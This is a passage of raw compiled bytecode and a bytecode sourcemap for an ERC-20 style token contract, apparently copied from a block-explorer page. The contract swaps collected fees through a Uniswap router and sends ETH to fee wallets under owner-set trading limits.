16565b61159290919063ffffffff16565b90507f0000000000000000000000002265bda9423e898942c7415993f060de8ff570fd73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611d735750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611dc95750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e2457600854831115611ddd57600080fd5b600d5483611dea86610c47565b611df49190613198565b1115611dff57600080fd5b60006007541115611e235760076000815480929190611e1d90613667565b91905055505b5b6000611e2f30610c47565b9050600a60019054906101000a900460ff16158015611e9a57507f0000000000000000000000002265bda9423e898942c7415993f060de8ff570fd73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb25750600a60029054906101000a900460ff165b8015611ed757506008600a611ec79190613028565b617530611ed49190613073565b81115b8015611f105750436009547f0000000000000000000000000000000000000000000000000000000000000002611f0d9190613198565b11155b15611f46576000479050611f238261226a565b8047611f2f919061325b565b90506000811115611f4457611f4381612580565b5b505b505b611f9a83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612041611ff3828561268090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ca90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6120e6848761268090919063ffffffff16565b6040516120f39190612741565b60405180910390a360008111156121ff5761215681600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ca90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121f69190612741565b60405180910390a35b5050505050565b600083831115829061224e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224591906127ec565b60405180910390fd5b506000838561225d919061325b565b9050809150509392505050565b6001600a60016101000a81548160ff02191690831515021790555060006008600a6122959190613028565b620249f06122a39190613073565b82116122c9576008600a6122b79190613028565b6175306122c49190613073565b6122e6565b6008600a6122d79190613028565b620249f06122e59190613073565b5b90506000600267ffffffffffffffff81111561230557612304612a37565b5b6040519080825280602002602001820160405280156123335781602001602082028036833780820191505090505b509050308160008151811061234b5761234a613169565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061240891906136a5565b8160018151811061241c5761241b613169565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061247530737a250d5630b4cf539739df2c5dacb4c659f2488d856115e4565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124cb9594939291906137d5565b600060405180830381600087803b1580156124e557600080fd5b505af11580156124f9573d6000803e3d6000fd5b5050505050506000600a60016101000a81548160ff02191690831515021790555050565b60008083118290612564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255b91906127ec565b60405180910390fd5b506000838561257391906131fb565b9050809150509392505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125d060038461159290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156125fb573d6000803e3d6000fd5b5073fe57ebc3a95be2d6032b150d91bab50a8abc80f673ffffffffffffffffffffffffffffffffffffffff166108fc612651600661264360028661151890919063ffffffff16565b61159290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561267c573d6000803e3d6000fd5b5050565b60006126c283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612206565b905092915050565b60008082846126d99190613198565b90508381101561271e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127159061387b565b60405180910390fd5b8091505092915050565b6000819050919050565b61273b81612728565b82525050565b60006020820190506127566000830184612732565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561279657808201518184015260208101905061277b565b60008484015250505050565b6000601f19601f8301169050919050565b60006127be8261275c565b6127c88185612767565b93506127d8818560208601612778565b6127e1816127a2565b840191505092915050565b6000602082019050818103600083015261280681846127b3565b905092915050565b6000604051905090565b600080fd5b600080fd5b60008115159050919050565b61283781612822565b811461284257600080fd5b50565b6000813590506128548161282e565b92915050565b6000602082840312156128705761286f612818565b5b600061287e84828501612845565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128b282612887565b9050919050565b6128c2816128a7565b81146128cd57600080fd5b50565b6000813590506128df816128b9565b92915050565b6128ee81612728565b81146128f957600080fd5b50565b60008135905061290b816128e5565b92915050565b6000806040838503121561292857612927612818565b5b6000612936858286016128d0565b9250506020612947858286016128fc565b9150509250929050565b61295a81612822565b82525050565b60006020820190506129756000830184612951565b92915050565b60006020828403121561299157612990612818565b5b600061299f848285016128d0565b91505092915050565b6000806000606084860312156129c1576129c0612818565b5b60006129cf868287016128d0565b93505060206129e0868287016128d0565b92505060406129f1868287016128fc565b9150509250925092565b600060ff82169050919050565b612a11816129fb565b82525050565b6000602082019050612a2c6000830184612a08565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a6f826127a2565b810181811067ffffffffffffffff82111715612a8e57612a8d612a37565b5b80604052505050565b6000612aa161280e565b9050612aad8282612a66565b919050565b600067ffffffffffffffff821115612acd57612acc612a37565b5b602082029050602081019050919050565b600080fd5b6000612af6612af184612ab2565b612a97565b90508083825260208201905060208402830185811115612b1957612b18612ade565b5b835b81811015612b425780612b2e88826128d0565b845260208401935050602081019050612b1b565b5050509392505050565b600082601f830112612b6157612b60612a32565b5b8135612b71848260208601612ae3565b91505092915050565b600060208284031215612b9057612b8f612818565b5b600082013567ffffffffffffffff811115612bae57612bad61281d565b5b612bba84828501612b4c565b91505092915050565b60008060408385031215612bda57612bd9612818565b5b600083013567ffffffffffffffff811115612bf857612bf761281d565b5b612c0485828601612b4c565b9250506020612c15858286016128fc565b9150509250929050565b600060208284031215612c3557612c34612818565b5b6000612c43848285016128fc565b91505092915050565b612c55816128a7565b82525050565b6000602082019050612c706000830184612c4c565b92915050565b60008060408385031215612c8d57612c8c612818565b5b600083013567ffffffffffffffff811115612cab57612caa61281d565b5b612cb785828601612b4c565b9250506020612cc885828601612845565b9150509250929050565b600067ffffffffffffffff821115612ced57612cec612a37565b5b602082029050602081019050919050565b6000612d11612d0c84612cd2565b612a97565b90508083825260208201905060208402830185811115612d3457612d33612ade565b5b835b81811015612d5d5780612d4988826128fc565b845260208401935050602081019050612d36565b5050509392505050565b600082601f830112612d7c57612d7b612a32565b5b8135612d8c848260208601612cfe565b91505092915050565b600060208284031215612dab57612daa612818565b5b600082013567ffffffffffffffff811115612dc957612dc861281d565b5b612dd584828501612d67565b91505092915050565b600080fd5b60008083601f840112612df957612df8612a32565b5b8235905067ffffffffffffffff811115612e1657612e15612dde565b5b602083019150836020820283011115612e3257612e31612ade565b5b9250929050565b60008060208385031215612e5057612e4f612818565b5b600083013567ffffffffffffffff811115612e6e57612e6d61281d565b5b612e7a85828601612de3565b92509250509250929050565b60008060408385031215612e9d57612e9c612818565b5b6000612eab858286016128d0565b9250506020612ebc858286016128d0565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612f4c57808604811115612f2857612f27612ec6565b5b6001851615612f375780820291505b8081029050612f4585612ef5565b9450612f0c565b94509492505050565b600082612f655760019050613021565b81612f735760009050613021565b8160018114612f895760028114612f9357612fc2565b6001915050613021565b60ff841115612fa557612fa4612ec6565b5b8360020a915084821115612fbc57612fbb612ec6565b5b50613021565b5060208310610133831016604e8410600b8410161715612ff75782820a905083811115612ff257612ff1612ec6565b5b613021565b6130048484846001612f02565b9250905081840481111561301b5761301a612ec6565b5b81810290505b9392505050565b600061303382612728565b915061303e836129fb565b925061306b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612f55565b905092915050565b600061307e82612728565b915061308983612728565b925082820261309781612728565b915082820484148315176130ae576130ad612ec6565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006130eb602083612767565b91506130f6826130b5565b602082019050919050565b6000602082019050818103600083015261311a816130de565b9050919050565b600061312c82612728565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361315e5761315d612ec6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006131a382612728565b91506131ae83612728565b92508282019050808211156131c6576131c5612ec6565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061320682612728565b915061321183612728565b925082613221576132206131cc565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b600061326682612728565b915061327183612728565b925082820390508181111561328957613288612ec6565b5b92915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006132c5601783612767565b91506132d08261328f565b602082019050919050565b600060208201905081810360008301526132f4816132b8565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613357602183612767565b9150613362826132fb565b604082019050919050565b600060208201905081810360008301526133868161334a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006133e9602483612767565b91506133f48261338d565b604082019050919050565b60006020820190508181036000830152613418816133dc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061347b602283612767565b91506134868261341f565b604082019050919050565b600060208201905081810360008301526134aa8161346e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061350d602583612767565b9150613518826134b1565b604082019050919050565b6000602082019050818103600083015261353c81613500565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061359f602383612767565b91506135aa82613543565b604082019050919050565b600060208201905081810360008301526135ce81613592565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613631602983612767565b915061363c826135d5565b604082019050919050565b6000602082019050818103600083015261366081613624565b9050919050565b600061367282612728565b91506000820361368557613684612ec6565b5b600182039050919050565b60008151905061369f816128b9565b92915050565b6000602082840312156136bb576136ba612818565b5b60006136c984828501613690565b91505092915050565b6000819050919050565b6000819050919050565b60006137016136fc6136f7846136d2565b6136dc565b612728565b9050919050565b613711816136e6565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61374c816128a7565b82525050565b600061375e8383613743565b60208301905092915050565b6000602082019050919050565b600061378282613717565b61378c8185613722565b935061379783613733565b8060005b838110156137c85781516137af8882613752565b97506137ba8361376a565b92505060018101905061379b565b5085935050505092915050565b600060a0820190506137ea6000830188612732565b6137f76020830187613708565b81810360408301526138098186613777565b90506138186060830185612c4c565b6138256080830184612732565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613865601b83612767565b91506138708261382f565b602082019050919050565b6000602082019050818103600083015261389481613858565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a04b9ce2b7db65dafb21beabc1681438d64da9eb0f43a55db72975396687486664736f6c63430008110033

Deployed Bytecode Sourcemap

3534:8209:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4284:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5666:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11526:93;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6499:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4346:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5943:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9181:159;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6668:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10561:83;;;;;;;;;;;;;:::i;:::-;;4224:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5852:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10391:162;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11277:241;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6046:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2646:148;;;;;;;;;;;;;:::i;:::-;;11089:180;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2432:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5016:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5757:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6173:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10652:225;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10017:194;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10885:196;;;;;;;;;;;;;:::i;:::-;;11627:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10219:164;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6348:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4284:55;4045:1;4326:2;:13;;;;:::i;:::-;4316:7;:23;;;;:::i;:::-;4284:55;:::o;5666:83::-;5703:13;5736:5;;;;;;;;;;;;;;;;;5729:12;;5666:83;:::o;11526:93::-;2569:12;:10;:12::i;:::-;2559:22;;:6;;;;;;;;;;:22;;;2551:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11592:4:::1;:18;;;;;11609:1;11600:6;;:8;;;;;;;;;:::i;:::-;;;;;:10;11592:18;11584:27;;;::::0;::::1;;11526:93:::0;:::o;6499:161::-;6574:4;6591:39;6600:12;:10;:12::i;:::-;6614:7;6623:6;6591:8;:39::i;:::-;6648:4;6641:11;;6499:161;;;;:::o;4346:46::-;;;;:::o;5943:95::-;5996:7;4045:1;4101:2;:13;;;;:::i;:::-;4088:10;:26;;;;:::i;:::-;6016:14;;5943:95;:::o;9181:159::-;9253:3;;;;;;;;;;;9239:17;;:10;:17;;;:38;;;;4807:42;9260:17;;:10;:17;;;9239:38;9231:47;;;;;;9297:2;9289:20;;:43;9310:21;9289:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9181:159;:::o;6668:313::-;6766:4;6783:36;6793:6;6801:9;6812:6;6783:9;:36::i;:::-;6830:121;6839:6;6847:12;:10;:12::i;:::-;6861:89;6899:6;6861:89;;;;;;;;;;;;;;;;;:11;:19;6873:6;6861:19;;;;;;;;;;;;;;;:33;6881:12;:10;:12::i;:::-;6861:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6830:8;:121::i;:::-;6969:4;6962:11;;6668:313;;;;;:::o;10561:83::-;2569:12;:10;:12::i;:::-;2559:22;;:6;;;;;;;;;;:22;;;2551:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4045:1:::1;4101:2;:13;;;;:::i;:::-;4088:10;:26;;;;:::i;:::-;10605:5;:15;;;;4045:1;4101:2;:13;;;;:::i;:::-;4088:10;:26;;;;:::i;:::-;10621:5;:15;;;;10561:83::o:0;4224:53::-;4045:1;4264:2;:13;;;;:::i;:::-;4255:6;:22;;;;:::i;:::-;4224:53;:::o;5852:83::-;5893:5;4045:1;5911:16;;5852:83;:::o;10391:162::-;2569:12;:10;:12::i;:::-;2559:22;;:6;;;;;;;;;;:22;;;2551:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10464:6:::1;10459:87;10480:6;:13;10476:1;:17;10459:87;;;10531:5;10513:4;:15;10518:6;10525:1;10518:9;;;;;;;;:::i;:::-;;;;;;;;10513:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;10495:3;;;;;:::i;:::-;;;;10459:87;;;;10391:162:::0;:::o;11277:241::-;2569:12;:10;:12::i;:::-;2559:22;;:6;;;;;;;;;;:22;;;2551:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11371:1:::1;11359:3;:10;:13;:28;;;;11386:1;11376:6;;:11;11359:28;11356:141;;;11402:8;::::0;::::1;11356:141;11436:1;11429:6;;:8;11426:71;;;11453:6;;:8;;;;;;;;;:::i;:::-;;;;;;11482:3;11476:2;;:9;;;;;;;:::i;:::-;;;;;;;;11426:71;11277:241:::0;;:::o;6046:119::-;6112:7;6139:9;:18;6149:7;6139:18;;;;;;;;;;;;;;;;6132:25;;6046:119;;;:::o;2646:148::-;2569:12;:10;:12::i;:::-;2559:22;;:6;;;;;;;;;;:22;;;2551:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2753:1:::1;2716:40;;2737:6;::::0;::::1;;;;;;;;2716:40;;;;;;;;;;;;2784:1;2767:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2646:148::o:0;11089:180::-;11142:11;11156:24;11174:4;11156:9;:24::i;:::-;11142:38;;11213:3;;;;;;;;;;;11199:17;;:10;:17;;;11191:26;;;;;;11228:33;11257:3;11251;11245;:9;;;;:::i;:::-;:15;;;;:::i;:::-;11228:16;:33::i;:::-;11131:138;11089:180;:::o;2432:79::-;2470:7;2497:6;;;;;;;;;;;2490:13;;2432:79;:::o;5016:46::-;;;;:::o;5757:87::-;5796:13;5829:7;;;;;;;;;;;;;;;;;5822:14;;5757:87;:::o;6173:167::-;6251:4;6268:42;6278:12;:10;:12::i;:::-;6292:9;6303:6;6268:9;:42::i;:::-;6328:4;6321:11;;6173:167;;;;:::o;10652:225::-;2569:12;:10;:12::i;:::-;2559:22;;:6;;;;;;;;;;:22;;;2551:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10770:9:::1;10766:103;10786:18;:25;10784:1;:27;10766:103;;;10860:9;10830:4;:27;10835:18;10854:1;10835:21;;;;;;;;:::i;:::-;;;;;;;;10830:27;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;10812:3;;;;;:::i;:::-;;;;10766:103;;;;10652:225:::0;;:::o;10017:194::-;2569:12;:10;:12::i;:::-;2559:22;;:6;;;;;;;;;;:22;;;2551:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10090:11:::1;10104:4;:11;10090:25;;10130:1;10124:3;:7;10117:15;;;;:::i;:::-;;10139:4;10148:1;10144:3;:5;;;;:::i;:::-;10139:11;;;;;;;;:::i;:::-;;;;;;;;10134:2;:16;;;;10167:4;10176:1;10172:3;:5;;;;:::i;:::-;10167:11;;;;;;;;:::i;:::-;;;;;;;;10161:3;:17;;;;10192:4;10201:1;10197:3;:5;;;;:::i;:::-;10192:11;;;;;;;;:::i;:::-;;;;;;;;10186:3;:17;;;;10079:132;10017:194:::0;:::o;10885:196::-;2569:12;:10;:12::i;:::-;2559:22;;:6;;;;;;;;;;:22;;;2551:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10956:1:::1;10946:6;;:11;:20;;;;;10962:4;;;;;;;;;;;10961:5;10946:20;10938:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;11018:4;11004:11;;:18;;;;;;;;;;;;;;;;;;11040:4;11033;;:11;;;;;;;;;;;;;;;;;;11061:12;11055:2;;:18;;;;;;;:::i;:::-;;;;;;;;10885:196::o:0;11627:111::-;2569:12;:10;:12::i;:::-;2559:22;;:6;;;;;;;;;;:22;;;2551:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11713:1:::1;11703:2;;:9;;:11;:26;;;;;11728:1;11720:6;;11718:8;;;;;:::i;:::-;;;;;;;:11;;11703:26;11695:35;;;::::0;::::1;;11627:111:::0;;:::o;10219:164::-;2569:12;:10;:12::i;:::-;2559:22;;:6;;;;;;;;;;:22;;;2551:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10293:6:::1;10288:88;10309:5;:12;10305:1;:16;10288:88;;;10360:4;10343;:14;10348:5;10354:1;10348:8;;;;;;;;:::i;:::-;;;;;;;;10343:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;10323:3;;;;;:::i;:::-;;;;10288:88;;;;10219:164:::0;:::o;6348:143::-;6429:7;6456:11;:18;6468:5;6456:18;;;;;;;;;;;;;;;:27;6475:7;6456:27;;;;;;;;;;;;;;;;6449:34;;6348:143;;;;:::o;1522:246::-;1580:7;1609:1;1604;:6;1600:47;;1634:1;1627:8;;;;1600:47;1657:9;1673:1;1669;:5;;;;:::i;:::-;1657:17;;1702:1;1697;1693;:5;;;;:::i;:::-;:10;1685:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1759:1;1752:8;;;1522:246;;;;;:::o;1776:132::-;1834:7;1861:39;1865:1;1868;1861:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1854:46;;1776:132;;;;:::o;187:98::-;240:7;267:10;260:17;;187:98;:::o;6989:335::-;7099:1;7082:19;;:5;:19;;;7074:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7180:1;7161:21;;:7;:21;;;7153:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7262:6;7232:11;:18;7244:5;7232:18;;;;;;;;;;;;;;;:27;7251:7;7232:27;;;;;;;;;;;;;;;:36;;;;7300:7;7284:32;;7293:5;7284:32;;;7309:6;7284:32;;;;;;:::i;:::-;;;;;;;;6989:335;;;:::o;7466:1703::-;7534:4;7393:3;;;;;;;;;;;7383:13;;:6;:13;;;:29;;;;7410:2;7400:12;;:6;:12;;;7383:29;:46;;;;4807:42;7416:13;;:6;:13;;;7383:46;:54;;;;7433:4;;;;;;;;;;;7383:54;7375:63;;;;;;7583:1:::1;7567:18;;:4;:18;;::::0;7559:68:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;7660:1;7646:16;;:2;:16;;::::0;7638:64:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;7730:1;7721:6;:10;7713:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7788:11;7822:3;;;;;;;;;;;7816:9;;:2;:9;;;;:23;;;;;7837:2;7829:10;;:4;:10;;;;7816:23;:38;;;;;4807:42;7843:11;;:4;:11;;;;7816:38;:51;;;;;4807:42;7858:9;;:2;:9;;;;7816:51;:76;;;;;7887:4;7871:21;;:4;:21;;;;7816:76;7812:1031;;;7917:133;8046:3;7917:124;7929:4;:10;7934:4;7929:10;;;;;;;;;;;;;;;;;;;;;;;;;:111;;7958:3;;;;;;;;;;;7950:11;;:4;:11;;;:90;;7986:2;;7970:12;:18;;:70;;8022:7;8016:13;;:2;:13;;::::0;:23:::1;;8036:3;;8016:23;;;8032:1;8016:23;8002:1;7998:2;;:5;7997:14;;8009:2;;7997:14;;;8005:3;;7997:14;7996:44;;;;:::i;:::-;7970:70;;;4570:2;7970:70;;;7950:90;;;7964:3;;7950:90;7929:111;;;4215:2;7929:111;7917:6;:10;;:124;;;;:::i;:::-;:128;;:133;;;;:::i;:::-;7911:139;;8079:7;8071:15;;:4;:15;;;:36;;;;;4499:42;8090:17;;:2;:17;;;;8071:36;:64;;;;;8113:18;:22;8132:2;8113:22;;;;;;;;;;;;;;;;;;;;;;;;;8111:24;8071:64;8067:222;;;8175:5;;8165:6;:15;;8157:24;;;::::0;::::1;;8234:5;;8224:6;8208:13;8218:2;8208:9;:13::i;:::-;:22;;;;:::i;:::-;:31;;8200:40;;;::::0;::::1;;8265:1;8262:2;;:4;8259:15;;;8268:2;;:4;;;;;;;;;:::i;:::-;;;;;;8259:15;8067:222;8305:28;8336:24;8354:4;8336:9;:24::i;:::-;8305:55;;8380:8;;;;;;;;;;;8379:9;:28;;;;;8400:7;8392:15;;:4;:15;;;;8379:28;:43;;;;;8411:11;;;;;;;;;;;8379:43;:76;;;;;4045:1;4264:2;:13;;;;:::i;:::-;4255:6;:22;;;;:::i;:::-;8426:20;:29;8379:76;:106;;;;;8473:12;8467:2;;8459:5;:10;;;;:::i;:::-;:26;;8379:106;8375:457;;;8506:26;8535:21;8506:50;;8575:38;8592:20;8575:16;:38::i;:::-;8677:18;8653:21;:42;;;;:::i;:::-;8632:63;;8738:1;8717:18;:22;8714:103;;;8764:33;8778:18;8764:13;:33::i;:::-;8714:103;8487:345;8375:457;7894:949;7812:1031;8871:27;8891:6;8871:9;:15;8881:4;8871:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;8855:9;:15;8865:4;8855:15;;;;;;;;;;;;;;;:43;;;;8923:34;8941:15;8952:3;8941:6;:10;;:15;;;;:::i;:::-;8923:9;:13;8933:2;8923:13;;;;;;;;;;;;;;;;:17;;:34;;;;:::i;:::-;8909:9;:13;8919:2;8909:13;;;;;;;;;;;;;;;:48;;;;8988:2;8973:35;;8982:4;8973:35;;;8992:15;9003:3;8992:6;:10;;:15;;;;:::i;:::-;8973:35;;;;;;:::i;:::-;;;;;;;;9026:1;9022:3;:5;9019:143;;;9066:33;9095:3;9066:9;:24;9084:4;9066:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;9041:9;:24;9059:4;9041:24;;;;;;;;;;;;;;;:58;;;;9140:4;9117:33;;9126:4;9117:33;;;9146:3;9117:33;;;;;;:::i;:::-;;;;;;;;9019:143;7548:1621;7466:1703:::0;;;;:::o;1324:190::-;1410:7;1443:1;1438;:6;;1446:12;1430:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1470:9;1486:1;1482;:5;;;;:::i;:::-;1470:17;;1505:1;1498:8;;;1324:190;;;;;:::o;9348:515::-;4902:4;4891:8;;:15;;;;;;;;;;;;;;;;;;9426:18:::1;4045:1;4326:2;:13;;;;:::i;:::-;4316:7;:23;;;;:::i;:::-;9447:11;:21;:40;;4045:1;4264:2;:13;;;;:::i;:::-;4255:6;:22;;;;:::i;:::-;9447:40;;;4045:1;4326:2;:13;;;;:::i;:::-;4316:7;:23;;;;:::i;:::-;9447:40;9426:61;;9498:21;9536:1;9522:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9498:40;;9567:4;9549;9554:1;9549:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;4499:42;9593:7;;;:9;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9583:4;9588:1;9583:7;;;;;;;;:::i;:::-;;;;;;;:19;;;;;;;;;::::0;::::1;9613:49;9630:4;4499:42;9650:11;9613:8;:49::i;:::-;4499:42;9673:53;;;9741:10;9766:1;9782:4;9809;9829:15;9673:182;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9415:448;;4940:5:::0;4929:8;;:16;;;;;;;;;;;;;;;;;;9348:515;:::o;1916:189::-;2002:7;2034:1;2030;:5;2037:12;2022:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2061:9;2077:1;2073;:5;;;;:::i;:::-;2061:17;;2096:1;2089:8;;;1916:189;;;;;:::o;9871:138::-;9929:3;;;;;;;;;;;:12;;:27;9942:13;9953:1;9942:6;:10;;:13;;;;:::i;:::-;9929:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4807:42;9967:12;;:34;9980:20;9998:1;9980:13;9991:1;9980:6;:10;;:13;;;;:::i;:::-;:17;;:20;;;;:::i;:::-;9967:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9871:138;:::o;1180:136::-;1238:7;1265:43;126